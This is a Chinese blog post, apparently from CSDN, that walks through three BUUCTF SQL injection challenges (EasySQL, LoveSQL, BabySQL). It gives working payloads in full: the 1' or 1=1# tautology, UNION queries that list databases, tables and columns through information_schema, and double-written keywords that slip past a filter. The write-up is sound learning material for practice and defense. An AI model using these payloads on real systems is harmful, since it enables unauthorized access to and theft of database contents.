SQL注入入门题[极客大挑战 2019]

这几道题我都是在BUUCTF里写到的 对于我们sql注入入门还是很不错的几道题

[极客大挑战 2019]EasySQL

看题目就知道是sql注入,还说是很简单的,那倒要看看有多简单
在这里插入图片描述打开网页在账号密码那都输入上’1看看在这里插入图片描述果然有明显的回响,然后输入一下我们的永真语句试试在这里插入图片描述好家伙,真就简单的直接出flag了在这里插入图片描述
最近也在学一写sql注入的内容,看了几期视频,发现在构造1' or 1 = 1#’时,sql代码本身是自带有' '两个引号的然后你加入1'之后他就会与前面的单引号自动闭合'1''输入之后就会得到这样的结果,多出了一个单引号,也正是这个原因我们可以通过加'来判断这个是否存在sql注入,如果存在那么多出了单引号就会报错,从而判断出有sql注入。当然这里的1' or 1 = 1#中的#是注释符也就是说把这个语句后面多出的单引号注释了,这样他就无法报错并且无法执行后面的语句,从而达到我们的目的。其中or就是“或”语句连接1和1=1,如果1是错误的,那就执行or后面的1=1永为真,从而可以实现 sql注入,爆出flag。
这里我还有个疑问,就是我将#注释符换成了--注释符就好像成功不了了(并且我在--后面加过空格了),各位大佬多多指教,评论区可以留言告知,呜呜

[极客大挑战 2019]LoveSQL

这题需要用到联合查询,不懂联合查询的可以看看我之前写的一篇博客,挺详细的

https://blog.csdn.net/qq_51439282/article/details/110825020

在这里插入图片描述打开界面发现又是他,我们像上次一样试试永真语句
在这里插入图片描述
好家伙,真就出来flag了??
看起像md5就拿去在线网站解密了

在这里插入图片描述
发现解不出,看来并没有这么简单,是用来迷惑人的

既然这样那就只好一步一步来查询数据了

查询数据在之前的文章提到过一般分为四个步骤:
第一步:获取当前数据库名称及当前数据库用户
第二步:获取表名称
第三步:获取列名称
第四步:获取数据

先进行第一步:获取当前数据库名称及当前数据库用户

对他进行注入获取数据库名称

1' union select 1,2,database()#

在这里插入图片描述

在这里插入图片描述获取到当前数据库名称为geek

那就进行第二步:获取表名称

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' #

在这里插入图片描述

在这里插入图片描述
注入后得到两个表名称,看着l0ve1ysq1这个表名称和题目比较像就先查询他的数据

第三步:查询列名称

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #

在这里插入图片描述

在这里插入图片描述查询到列名称:id,username,password

那就可以进行最后一步:获取数据

1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

在这里插入图片描述

在这里插入图片描述
这样就得到flag啦

[极客大挑战 2019]BabySQL

看到又是他直接永真语句来一波
在这里插入图片描述在这里插入图片描述呜呜这次直接报错了,看来得按流程走了,继续我们的查询数据四步走~

第一步:获取当前数据库名称及当前数据库用户

直接构造1' union select 1,2,database()#

在这里插入图片描述

在这里插入图片描述我们发现他竟然报错了,果然如他所说进行了过滤

可以发现他对union以及select都进行了过滤

我们现在可以试试双写能不能避开过滤

那就构造1' ununionion seselectlect 1,2,database()#

在这里插入图片描述

在这里插入图片描述
oh~出来了,得到了数据库名select。

看来是可以用双写来避开过滤,原理应该是你输入ununionion的时候然后里面检测到union这五个连在一起的字母,就会进行过滤,不过你还会剩下一个un和一个ion,中间的消失之后那就还剩一个union,自然可以继续查询,这里他应该只能过滤一次,所以双写能避开这种过滤。

进行第二步:获取表名称

1' ununionion seselectlect 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#

在这里插入图片描述发现报错了。。。。

经过观察原来from information where应该都过滤掉了,那就都试试双写(一般同一题过滤类型都一样吧,果断试试)

尝试构造:

1' ununionion seselectlect 1,2,group_concat(table_name) frfromom inforinformationmation_schema.tables whwhereere table_schema='geek'#

在这里插入图片描述发现他还是报错了,看来还是有问题

经过观察报错可以发现or都不见了,原来是他没有过滤整个information,只对or进行了过滤,那我们只要进行双写or就可以啦~

那就构造1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#

在这里插入图片描述这样就获得了表名称

按照老样子我们写来查询和题目名字差不多的表b4bsql

进行第三步:获取列名称

直接构造
1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#

在这里插入图片描述很顺利的拿到了列名称

进行最后一步:获取数据

直接构造1' ununionion seselectlect 1,2,group_concat(id,username,password) frfromom b4bsql#

在这里插入图片描述oh~no,忘记了将password里面的or给双写了

那就构造1' ununionion seselectlect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql#

在这里插入图片描述成功爆出flag,大功告成!!

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值